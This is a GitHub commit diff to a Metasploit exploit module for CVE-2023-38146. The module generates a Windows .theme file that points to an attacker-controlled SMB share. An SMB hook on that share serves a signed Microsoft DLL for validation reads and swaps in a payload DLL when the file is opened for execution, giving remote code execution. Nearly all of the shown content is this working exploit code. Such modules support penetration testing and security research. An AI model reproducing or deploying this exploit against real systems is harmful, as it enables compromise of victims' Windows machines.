Skip to content

Commit

Permalink
Pull in changes from Spencer's branch, but not the Gemfile changes.
Browse files Browse the repository at this point in the history
  • Loading branch information
bwatters-r7 committed Dec 12, 2023
1 parent 3534181 commit 95eb4cc
Showing 1 changed file with 66 additions and 55 deletions.
121 changes: 66 additions & 55 deletions modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
Original file line number Diff line number Diff line change
Expand Up @@ -44,73 +44,66 @@ def initialize(info = {})
)

register_options([
OptString.new('STYLES_FILENAME', [false, 'Styles filename', 'styles']),
OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/),
OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ]),
OptPath.new('MS_SIGNED_DLL', [true, 'Signed Microsoft DLL to use for passing validation']),
OptPath.new('MS_PAYLOAD_DLL', [true, 'Signed Microsoft DLL to use for passing validation']),
OptPath.new('MS_VERSION_FILE', [true, 'Signed Microsoft DLL to use for passing validation'])
])

deregister_options(
'FILENAME', # this is the one used by the FILEFORMAT mixin, replaced by THEME_FILE_NAME for clarity
'FILE_NAME', # this is the one used by the SMB::Server::Share mixin, replaced by STYLE_FILE_NAME for clarity
'FOLDER_NAME'
)
end

def file_contents
vprint_status("in file_contents")
@legit_dll
def file_format_filename
datastore['THEME_FILE_NAME']
end

def pad_dll(first_dll, second_dll)
if first_dll.length < second_dll.length
null_padding = second_dll.length - first_dll.length
vprint_status("Padding DLL #{null_padding} bytes")
first_dll += "\x00" * null_padding
end
def setup
super

@file_name = datastore['STYLE_FILE_NAME'].blank? ? Rex::Text.rand_text_alpha(rand(4..6)) : datastore['STYLE_FILE_NAME']
@file_name << '.msstyles' unless @file_name.end_with?('.msstyles')
end

def primer
@start_index = 0
vprint_status('primer')
@file_name = 'Aero.msstyles_vrf.dll'
vprint_status("unc = #{unc}")
@theme_filename = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(4..6))
@styles_filename = datastore['STYLES_FILENAME'] || Rex::Text.rand_text_alpha(rand(4..6))
if @styles_filename[-9..].nil? || @styles_filename[-9..] != '.msstyles'
@styles_filename << '.msstyles'
end
vprint_status("Shares: #{service.shares}")
vprint_status("Shares #{@share}")
legit_dll = File.binread(datastore['MS_SIGNED_DLL'])
payload_dll = generate_payload_dll
max_length = [payload_dll.length, legit_dll.length].max
# make sure that the lengths are the same by padding the smaller to the length of the larger
legit_dll.ljust(max_length, "\x00".b)
payload_dll.ljust(max_length, "\x00".b)

@legit_dll = File.binread(datastore['MS_SIGNED_DLL'])
@payload_dll = generate_payload_dll

pad_dll(@legit_dll, @payload_dll)
pad_dll(@payload_dll, @payload_dll)
virtual_disk = service.shares[@share]
@service = service

vprint_status("payload_dll length: #{@payload_dll.length}")
vprint_status("legit_dll length: #{@legit_dll.length}")
virtual_file = ThreadLocalVirtualStaticFile.new(virtual_disk, "/#{@file_name}_vrf.dll", legit_dll)
virtual_disk.add(virtual_file)
# install this hook for create requests to set the thread-local file content
virtual_disk.add_hook(RubySMB::SMB2::Packet::CreateRequest) do |_session, request|
next unless request.name.read_now!.encode.ends_with?('_vrf.dll')

@switch_dll = false
if request.desired_access.execute == 1
virtual_file.tl_content = payload_dll
else
virtual_file.tl_content = legit_dll
end

virtual_disk = service.shares[@share]
virtual_disk.add_static_file(@styles_filename, File.binread(datastore['MS_VERSION_FILE']))
virtual_disk.add_dynamic_file(@file_name) do
@dll_request = true
file_contents
nil
end


theme = make_theme
vprint_status(theme)
file_create(theme)
file_create(make_theme)
end

def version_check_file
File.binread(datastore['MS_VERSION_DLL'])
def get_file_contents(client:)
print_status("Sending file to #{client.peerhost}")
File.binread(datastore['MS_VERSION_FILE'])
end

def make_theme
vprint_status('make_theme')
theme_file = <<~THEME
; windows 11 theme exploit
; copyright 2023 fukin software foundation
<<~THEME
[Theme]
DisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060
Expand All @@ -120,21 +113,39 @@ def make_theme
WallpaperStyle=10
[VisualStyles]
Path=\\\\REPLACE_IP_ADDRESS\\REPLACE_SHARENAME\\REPLACE_FILE_NAME
Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}
ColorStyle=NormalColor
Size=NormalSize
[MasterThemeSelector]
MTSM=RJSPBS
THEME
vprint_status('1')
theme_file.gsub!('REPLACE_IP_ADDRESS', datastore['SRVHOST'])
vprint_status('2')
theme_file.gsub!('REPLACE_SHARENAME', @share)
vprint_status('3')
theme_file.gsub!('REPLACE_FILE_NAME', @styles_filename)
vprint_status('4')
return theme_file
end

def on_new_session(session)
@service.stop
super
end

class ThreadLocalVirtualStaticFile < RubySMB::Server::Share::Provider::VirtualDisk::VirtualStaticFile
def initialize(*args, **kwargs)
super
@default_content = @content
@tl_content = {}
@tl_content.compare_by_identity
end

def open(mode = 'r', &block)
@content = tl_content
super
end

def tl_content=(content)
@tl_content[Thread.current] = content
end

def tl_content
@tl_content.fetch(Thread.current, @default_content)
end
end
end

0 comments on commit 95eb4cc

Please sign in to comment.